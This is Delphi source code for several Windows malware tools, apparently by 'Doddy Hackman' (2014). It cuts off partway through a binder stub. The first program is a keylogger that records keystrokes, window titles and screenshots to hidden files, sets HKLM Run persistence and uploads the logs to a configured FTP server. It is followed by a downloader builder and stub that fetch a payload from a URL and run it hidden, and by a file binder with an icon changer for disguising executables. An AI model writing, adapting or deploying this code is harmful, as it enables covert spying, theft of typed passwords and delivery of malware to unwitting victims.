program keycagator;
// {$APPTYPE CONSOLE}
uses
SysUtils, Windows, WinInet, ShellApi, Vcl.Graphics, Vcl.Imaging.jpeg;
var
nombrereal: string;
rutareal: string;
yalisto: string;
registro: HKEY;
dir: string;
time: integer;
dir_hide: string;
time_screen: integer;
time_ftp: integer;
ftp_host: Pchar;
ftp_user: Pchar;
ftp_password: Pchar;
ftp_dir: Pchar;
carpeta: string;
directorio: string;
bankop: string;
dir_normal: string;
dir_especial: string;
ftp_online: string;
screen_online: string;
activado: string;
ob: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
todo: string;
// Functions
function regex(text: String; deaca: String; hastaaca: String): String;
begin
Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
SetLength(text, AnsiPos(hastaaca, text) - 1);
Result := text;
end;
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
procedure savefile(filename, texto: string);
var
ar: TextFile;
begin
try
begin
AssignFile(ar, filename);
FileMode := fmOpenWrite;
if FileExists(filename) then
Append(ar)
else
Rewrite(ar);
Write(ar, texto);
CloseFile(ar);
end;
except
//
end;
end;
procedure upload_ftpfile(host, username, password, filetoupload,
conestenombre: Pchar);
// Credits :
// Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
// Thanks to Omair Iqbal
var
controluno: HINTERNET;
controldos: HINTERNET;
begin
try
begin
controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
ftpPutFile(controldos, filetoupload, conestenombre,
FTP_TRANSFER_TYPE_BINARY, 0);
InternetCloseHandle(controldos);
InternetCloseHandle(controluno);
end
except
//
end;
end;
procedure capturar_pantalla(nombre: string);
// Function capturar() based in :
// http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/
// http://delphi.about.com/cs/adptips2001/a/bltip0501_4.htm
// http://stackoverflow.com/questions/21971605/show-mouse-cursor-in-screenshot-with-delphi
// Thanks to Zarko Gajic , Luthfi and Ken White
var
aca: HDC;
tan: TRect;
posnow: TPoint;
imagen1: TBitmap;
imagen2: TJpegImage;
curnow: THandle;
begin
aca := GetWindowDC(GetDesktopWindow);
imagen1 := TBitmap.Create;
GetWindowRect(GetDesktopWindow, tan);
imagen1.Width := tan.Right - tan.Left;
imagen1.Height := tan.Bottom - tan.Top;
BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0,
0, SRCCOPY);
GetCursorPos(posnow);
curnow := GetCursor;
DrawIconEx(imagen1.Canvas.Handle, posnow.X, posnow.Y, curnow, 32, 32, 0, 0,
DI_NORMAL);
imagen2 := TJpegImage.Create;
imagen2.Assign(imagen1);
imagen2.CompressionQuality := 60;
imagen2.SaveToFile(nombre);
imagen1.Free;
imagen2.Free;
end;
//
procedure capturar_teclas;
var
I: integer;
Result: Longint;
mayus: integer;
shift: integer;
banknow: string;
const
n_numeros_izquierda: array [1 .. 10] of string = ('48', '49', '50', '51',
'52', '53', '54', '55', '56', '57');
const
t_numeros_izquierda: array [1 .. 10] of string = ('0', '1', '2', '3', '4',
'5', '6', '7', '8', '9');
const
n_numeros_derecha: array [1 .. 10] of string = ('96', '97', '98', '99', '100',
'101', '102', '103', '104', '105');
const
t_numeros_derecha: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5',
'6', '7', '8', '9');
const
n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
'54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
'291', '220', '221', '222', '226');
const
t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨', '&',
'*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^', '|');
const
n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
'188', '189', '190', '191', '192', '193', '219', '220', '221',
'222', '226');
const
t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
'<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
' / ', ' \ \ \ ', ']', '[', '~', '\/');
begin
while (1 = 1) do
begin
Sleep(time); // Time
try
begin
// Others
for I := Low(n_raros) to High(n_raros) do
begin
Result := GetAsyncKeyState(StrToInt(n_raros[I]));
If Result = -32767 then
begin
savefile('logs.html', t_raros[I]);
if (bankop = '1') then
begin
if (t_raros[I] = '[mouse click]') then
begin
banknow := IntToStr(Random(10000)) + '.jpg';
capturar_pantalla(banknow);
SetFileAttributes(Pchar(dir + '/' + banknow),
FILE_ATTRIBUTE_HIDDEN);
savefile('logs.html', '<br><br><center><img src=' + banknow +
'></center><br><br>');
end;
end;
end;
end;
// SHIFT
if (GetAsyncKeyState(VK_SHIFT) <> 0) then
begin
for I := Low(n_shift) to High(n_shift) do
begin
Result := GetAsyncKeyState(StrToInt(n_shift[I]));
If Result = -32767 then
begin
savefile('logs.html', t_shift[I]);
end;
end;
for I := 65 to 90 do
begin
Result := GetAsyncKeyState(I);
If Result = -32767 then
Begin
savefile('logs.html', Chr(I + 0));
End;
end;
end;
// Numbers
for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
begin
Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
If Result = -32767 then
begin
savefile('logs.html', t_numeros_derecha[I]);
end;
end;
for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
begin
Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
If Result = -32767 then
begin
savefile('logs.html', t_numeros_izquierda[I]);
end;
end;
// MAYUS
if (GetKeyState(20) = 0) then
begin
mayus := 32;
end
else
begin
mayus := 0;
end;
for I := 65 to 90 do
begin
Result := GetAsyncKeyState(I);
If Result = -32767 then
Begin
savefile('logs.html', Chr(I + mayus));
End;
end;
end;
except
//
end;
end;
end;
procedure capturar_ventanas;
var
ventana1: array [0 .. 255] of Char;
nombre1: string;
Nombre2: string; //
begin
while (1 = 1) do
begin
try
begin
Sleep(time); // Time
GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));
nombre1 := ventana1;
if not(nombre1 = Nombre2) then
begin
Nombre2 := nombre1;
savefile('logs.html', '<hr style=color:#00FF00><h2><center>' + Nombre2
+ '</h2></center><br>');
end;
end;
except
//
end;
end;
end;
procedure capturar_pantallas;
var
generado: string;
begin
while (1 = 1) do
begin
Sleep(time_screen);
generado := IntToStr(Random(10000)) + '.jpg';
try
begin
capturar_pantalla(generado);
end;
except
//
end;
SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);
savefile('logs.html', '<br><br><center><img src=' + generado +
'></center><br><br>');
end;
end;
procedure subirftp;
var
busqueda: TSearchRec;
begin
while (1 = 1) do
begin
try
begin
Sleep(time_ftp);
upload_ftpfile(ftp_host, ftp_user, ftp_password,
Pchar(dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));
FindFirst(dir + '*.jpg', faAnyFile, busqueda);
upload_ftpfile(ftp_host, ftp_user, ftp_password,
Pchar(dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
while FindNext(busqueda) = 0 do
begin
upload_ftpfile(ftp_host, ftp_user, ftp_password,
Pchar(dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
end;
end;
except
//
end;
end;
end;
procedure control;
var
I: integer;
re: Longint;
begin
while (1 = 1) do
begin
try
begin
Sleep(time);
if (GetAsyncKeyState(VK_SHIFT) <> 0) then
begin
re := GetAsyncKeyState(120);
If re = -32767 then
Begin
ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
SW_SHOWNORMAL);
End;
end;
end;
except
//
end;
End;
end;
//
begin
try
// Config
try
begin
// Edit
ob := INVALID_HANDLE_VALUE;
code := '';
ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_EXISTING, 0, 0);
if (ob <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(ob, -9999, nil, FILE_END);
ReadFile(ob, code, 9999, nose, nil);
CloseHandle(ob);
end;
todo := regex(code, '[63686175]', '[63686175]');
todo := dhencode(todo, 'decode');
dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
directorio := regex(todo, '[save]', '[save]');
carpeta := regex(todo, '[folder]', '[folder]');
bankop := regex(todo, '[bank]', '[bank]');
screen_online := regex(todo, '[capture_op]', '[capture_op]');
time_screen := StrToInt(regex(todo, '[capture_seconds]',
'[capture_seconds]'));
ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));
dir_normal := dir_especial;
time := 100; // Not Edit
if (dir_normal = '1') then
begin
dir_hide := directorio;
end
else
begin
dir_hide := GetEnvironmentVariable(directorio) + '/';
end;
dir := dir_hide + carpeta + '/';
if not(DirectoryExists(dir)) then
begin
CreateDir(dir);
end;
ChDir(dir);
nombrereal := ExtractFileName(paramstr(0));
rutareal := dir;
yalisto := dir + nombrereal;
MoveFile(Pchar(paramstr(0)), Pchar(yalisto));
SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
savefile(dir + '/logs.html', '');
SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);
savefile('logs.html',
'<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
RegCloseKey(registro);
end;
except
//
end;
// End
// Start the party
BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);
if (screen_online = '1') then
begin
BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
end;
if (ftp_online = '1') then
begin
BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
end;
BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);
// Readln;
while (1 = 1) do
Sleep(time);
except
//
end;
end.
// The End ?
// DH Downloader 0.8
// (C) Doddy Hackman 2014
unit dh;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
Vcl.ExtCtrls,
Vcl.Imaging.pngimage, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdHTTP, Registry, ShellApi, MadRes;
type
TForm1 = class(TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
TabSheet3: TTabSheet;
GroupBox1: TGroupBox;
PageControl2: TPageControl;
TabSheet4: TTabSheet;
TabSheet5: TTabSheet;
GroupBox2: TGroupBox;
Button1: TButton;
StatusBar1: TStatusBar;
GroupBox3: TGroupBox;
Edit1: TEdit;
GroupBox4: TGroupBox;
CheckBox1: TCheckBox;
Edit2: TEdit;
CheckBox2: TCheckBox;
Edit3: TEdit;
TabSheet6: TTabSheet;
GroupBox5: TGroupBox;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
CheckBox3: TCheckBox;
CheckBox4: TCheckBox;
CheckBox5: TCheckBox;
GroupBox6: TGroupBox;
PageControl3: TPageControl;
TabSheet7: TTabSheet;
TabSheet8: TTabSheet;
TabSheet9: TTabSheet;
GroupBox7: TGroupBox;
Edit4: TEdit;
GroupBox8: TGroupBox;
Edit5: TEdit;
GroupBox9: TGroupBox;
RadioButton3: TRadioButton;
RadioButton4: TRadioButton;
TabSheet10: TTabSheet;
GroupBox10: TGroupBox;
GroupBox11: TGroupBox;
Button2: TButton;
Edit6: TEdit;
GroupBox12: TGroupBox;
GroupBox13: TGroupBox;
ComboBox1: TComboBox;
GroupBox14: TGroupBox;
CheckBox6: TCheckBox;
GroupBox15: TGroupBox;
Image2: TImage;
Memo1: TMemo;
Image3: TImage;
GroupBox16: TGroupBox;
Button3: TButton;
ProgressBar1: TProgressBar;
IdHTTP1: TIdHTTP;
OpenDialog1: TOpenDialog;
GroupBox17: TGroupBox;
Image1: TImage;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Edit5DblClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
// Functions
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
function getfilename(archivo: string): string;
var
test: TStrings;
begin
test := TStringList.Create;
test.Delimiter := '/';
test.DelimitedText := archivo;
Result := test[test.Count - 1];
test.Free;
end;
//
procedure TForm1.Button1Click(Sender: TObject);
var
filename: string;
nombrefinal: string;
addnow: TRegistry;
archivobajado: TFileStream;
begin
if not CheckBox1.Checked then
begin
filename := Edit1.Text;
nombrefinal := getfilename(filename);
end
else
begin
nombrefinal := Edit2.Text;
end;
archivobajado := TFileStream.Create(nombrefinal, fmCreate);
try
begin
DeleteFile(nombrefinal);
IdHTTP1.Get(Edit1.Text, archivobajado);
StatusBar1.Panels[0].Text := '[+] File Dowloaded';
StatusBar1.Update;
archivobajado.Free;
end;
except
StatusBar1.Panels[0].Text := '[-] Failed download';
StatusBar1.Update;
archivobajado.Free;
Abort;
end;
if FileExists(nombrefinal) then
begin
if CheckBox2.Checked then
begin
if not DirectoryExists(Edit3.Text) then
begin
CreateDir(Edit3.Text);
end;
MoveFile(Pchar(nombrefinal), Pchar(Edit3.Text + '/' + nombrefinal));
StatusBar1.Panels[0].Text := '[+] File Moved';
StatusBar1.Update;
end;
if CheckBox3.Checked then
begin
SetFileAttributes(Pchar(Edit3.Text), FILE_ATTRIBUTE_HIDDEN);
if CheckBox2.Checked then
begin
SetFileAttributes(Pchar(Edit3.Text + '/' + nombrefinal),
FILE_ATTRIBUTE_HIDDEN);
StatusBar1.Panels[0].Text := '[+] File Hidden';
StatusBar1.Update;
end
else
begin
SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
StatusBar1.Panels[0].Text := '[+] File Hidden';
StatusBar1.Update;
end;
end;
if CheckBox4.Checked then
begin
addnow := TRegistry.Create;
addnow.RootKey := HKEY_LOCAL_MACHINE;
addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
if CheckBox2.Checked then
begin
addnow.WriteString('uber', Edit3.Text + '/' + nombrefinal);
end
else
begin
addnow.WriteString('uber', ExtractFilePath(Application.ExeName) + '/' +
nombrefinal);
end;
StatusBar1.Panels[0].Text := '[+] Registry Updated';
StatusBar1.Update;
addnow.Free;
end;
if CheckBox5.Checked then
begin
if RadioButton1.Checked then
begin
if CheckBox2.Checked then
begin
ShellExecute(Handle, 'open', Pchar(Edit3.Text + '/' + nombrefinal),
nil, nil, SW_SHOWNORMAL);
end
else
begin
ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
SW_SHOWNORMAL);
end;
end
else
begin
if CheckBox2.Checked then
begin
ShellExecute(Handle, 'open', Pchar(Edit3.Text + '/' + nombrefinal),
nil, nil, SW_HIDE);
end
else
begin
ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
end;
end;
end;
if CheckBox1.Checked or CheckBox2.Checked or CheckBox3.Checked or
CheckBox4.Checked or CheckBox5.Checked then
begin
StatusBar1.Panels[0].Text := '[+] Finished';
StatusBar1.Update;
end;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
Image1.Picture.LoadFromFile(OpenDialog1.filename);
Edit6.Text := OpenDialog1.filename;
end;
end;
procedure TForm1.Button3Click(Sender: TObject);
var
linea: string;
aca: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
marca_uno: string;
marca_dos: string;
url: string;
opcionocultar: string;
savein: string;
lineafinal: string;
stubgenerado: string;
tipodecarga: string;
change: DWORD;
valor: string;
begin
url := Edit4.Text;
stubgenerado := 'tiny_down.exe';
if (RadioButton4.Checked = True) then
begin
tipodecarga := '1';
end
else
begin
tipodecarga := '0';
end;
if (CheckBox6.Checked = True) then
begin
opcionocultar := '1';
end
else
begin
opcionocultar := '0';
end;
if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
begin
savein := 'USERPROFILE';
end
else
begin
savein := ComboBox1.Items[ComboBox1.ItemIndex];
end;
lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
'[opcion]' + '[path]' + savein + '[path]' + '[name]' + Edit5.Text + '[name]'
+ '[carga]' + tipodecarga + '[carga]';
marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';
aca := INVALID_HANDLE_VALUE;
nose := 0;
DeleteFile(stubgenerado);
CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' +
'Data/stub_down.exe'), Pchar(ExtractFilePath(Application.ExeName) + '/' +
stubgenerado), True);
linea := marca_uno;
StrCopy(code, Pchar(linea));
aca := CreateFile(Pchar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
OPEN_EXISTING, 0, 0);
if (aca <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(aca, 0, nil, FILE_END);
WriteFile(aca, code, 9999, nose, nil);
CloseHandle(aca);
end;
//
if not(Edit6.Text = '') then
begin
try
begin
valor := IntToStr(128);
change := BeginUpdateResourceW
(PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
stubgenerado)), FALSE);
LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
PWideChar(wideString(Edit6.Text)));
EndUpdateResourceW(change, FALSE);
StatusBar1.Panels[0].Text := '[+] Done ';
StatusBar1.Update;
end;
except
begin
StatusBar1.Panels[0].Text := '[-] Error';
StatusBar1.Update;
end;
end;
end
else
begin
StatusBar1.Panels[0].Text := '[+] Done ';
StatusBar1.Update;
end;
//
end;
procedure TForm1.Edit5DblClick(Sender: TObject);
begin
if not(Edit4.Text = '') then
begin
Edit5.Text := getfilename(Edit4.Text);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
ProgressBar1.Position := 0;
OpenDialog1.InitialDir := GetCurrentDir;
OpenDialog1.Filter := 'ICO|*.ico|';
end;
end.
// The End ?
// DH Downloader 0.8
// (C) Doddy Hackman 2014
// Stub
program stub_down;
// {$APPTYPE CONSOLE}
uses
SysUtils, Windows, URLMon, ShellApi;
// Functions
function regex(text: String; deaca: String; hastaaca: String): String;
begin
Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
SetLength(text, AnsiPos(hastaaca, text) - 1);
Result := text;
end;
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
//
var
ob: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
link: string;
todo: string;
opcion: string;
path: string;
nombre: string;
rutafinal: string;
tipodecarga: string;
begin
try
ob := INVALID_HANDLE_VALUE;
code := '';
ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_EXISTING, 0, 0);
if (ob <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(ob, -9999, nil, FILE_END);
ReadFile(ob, code, 9999, nose, nil);
CloseHandle(ob);
end;
todo := regex(code, '[63686175]', '[63686175]');
todo := dhencode(todo, 'decode');
link := regex(todo, '[link]', '[link]');
opcion := regex(todo, '[opcion]', '[opcion]');
path := regex(todo, '[path]', '[path]');
nombre := regex(todo, '[name]', '[name]');
tipodecarga := regex(todo, '[carga]', '[carga]');
rutafinal := GetEnvironmentVariable(path) + '/' + nombre;
try
begin
UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);
if (FileExists(rutafinal)) then
begin
if (opcion = '1') then
begin
SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
end;
if (tipodecarga = '1') then
begin
ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
end
else
begin
ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
end;
end;
end;
except
//
end;
except
//
end;
end.
// The End ?
// DH Binder 0.5
// (C) Doddy Hackman 2014
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle
unit dh;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.pngimage,
Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Menus, MadRes;
type
TForm1 = class(TForm)
Image1: TImage;
StatusBar1: TStatusBar;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
TabSheet3: TTabSheet;
TabSheet4: TTabSheet;
GroupBox1: TGroupBox;
Button1: TButton;
GroupBox2: TGroupBox;
ListView1: TListView;
GroupBox3: TGroupBox;
GroupBox4: TGroupBox;
ComboBox1: TComboBox;
GroupBox5: TGroupBox;
CheckBox1: TCheckBox;
GroupBox6: TGroupBox;
GroupBox7: TGroupBox;
Image2: TImage;
GroupBox8: TGroupBox;
Button2: TButton;
GroupBox9: TGroupBox;
Image3: TImage;
Memo1: TMemo;
PopupMenu1: TPopupMenu;
AddFile1: TMenuItem;
CleanList1: TMenuItem;
OpenDialog1: TOpenDialog;
OpenDialog2: TOpenDialog;
Edit1: TEdit;
procedure CleanList1Click(Sender: TObject);
procedure AddFile1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
// Functions
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
//
procedure TForm1.AddFile1Click(Sender: TObject);
var
op: String;
begin
if OpenDialog1.Execute then
begin
op := InputBox('Add File', 'Execute Hide ?', 'Yes');
with ListView1.Items.Add do
begin
Caption := ExtractFileName(OpenDialog1.FileName);
if (op = 'Yes') then
begin
SubItems.Add(OpenDialog1.FileName);
SubItems.Add('Hide');
end
else
begin
SubItems.Add(OpenDialog1.FileName);
SubItems.Add('Normal');
end;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
i: integer;
nombre: string;
ruta: string;
tipo: string;
savein: string;
opcionocultar: string;
lineafinal: string;
uno: DWORD;
tam: DWORD;
dos: DWORD;
tres: DWORD;
todo: Pointer;
change: DWORD;
valor: string;
stubgenerado: string;
begin
if (ListView1.Items.Count = 0) or (ListView1.Items.Count = 1) then
begin
ShowMessage('You have to choose two or more files');
end
else
begin
stubgenerado := 'done.exe';
if (CheckBox1.Checked = True) then
begin
opcionocultar := '1';
end
else
begin
opcionocultar := '0';
end;
if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
begin
savein := 'USERPROFILE';
end
else
begin
savein := ComboBox1.Items[ComboBox1.ItemIndex];
end;
DeleteFile(stubgenerado);
CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
stubgenerado), True);
uno := BeginUpdateResource(PChar(ExtractFilePath(Application.ExeName) + '/'
+ stubgenerado), True);
for i := 0 to ListView1.Items.Count - 1 do
begin
nombre := ListView1.Items[i].Caption;
ruta := ListView1.Items[i].SubItems[0];
tipo := ListView1.Items[i].SubItems[1];
lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
'[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
'[63686175]';
dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
tam := GetFileSize(dos, nil);
GetMem(todo, tam);
ReadFile(dos, todo^, tam, tres, nil);
CloseHandle(dos);
UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);
end;
EndUpdateResource(uno, False);
if not(Edit1.Text = '') then
begin
try
begin
change := BeginUpdateResourceW
(PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
stubgenerado)), False);
LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
PWideChar(wideString(Edit1.Text)));
EndUpdateResourceW(change, False);
StatusBar1.Panels[0].Text := '[+] Done ';
Form1.StatusBar1.Update;
end;
except
begin
StatusBar1.Panels[0].Text := '[-] Error';
Form1.StatusBar1.Update;
end;
end;
end
else
begin
StatusBar1.Panels[0].Text := '[+] Done ';
Form1.StatusBar1.Update;
end;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if OpenDialog2.Execute then
begin
Image2.Picture.LoadFromFile(OpenDialog2.FileName);
Edit1.Text := OpenDialog2.FileName;
end;
end;
procedure TForm1.CleanList1Click(Sender: TObject);
begin
ListView1.Items.Clear;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
OpenDialog1.InitialDir := GetCurrentDir;
OpenDialog2.InitialDir := GetCurrentDir;
OpenDialog2.Filter := 'Icons|*.ico|';
end;
end.
// The End ?
// DH Binder 0.5
// (C) Doddy Hackman 2014
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle
program stub;
uses
Windows,
SysUtils,
ShellApi;
// Functions
function regex(text: String; deaca: String; hastaaca: String): String;
begin
Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
SetLength(text, AnsiPos(hastaaca, text) - 1);
Result := text;
end;
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
//
// Start the game
function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
var
data: DWORD;
uno: DWORD;
dos: DWORD;
cinco2: string;
nombre: string;
tipodecarga: string;
ruta: string;
ocultar: string;
begin
Result := True;
cinco2 := cinco;
cinco2 := regex(cinco2, '[63686175]', '[63686175]');
cinco2 := dhencode(cinco2, 'decode');
cinco2 := LowerCase(cinco2);
nombre := regex(cinco2, '[nombre]', '[nombre]');
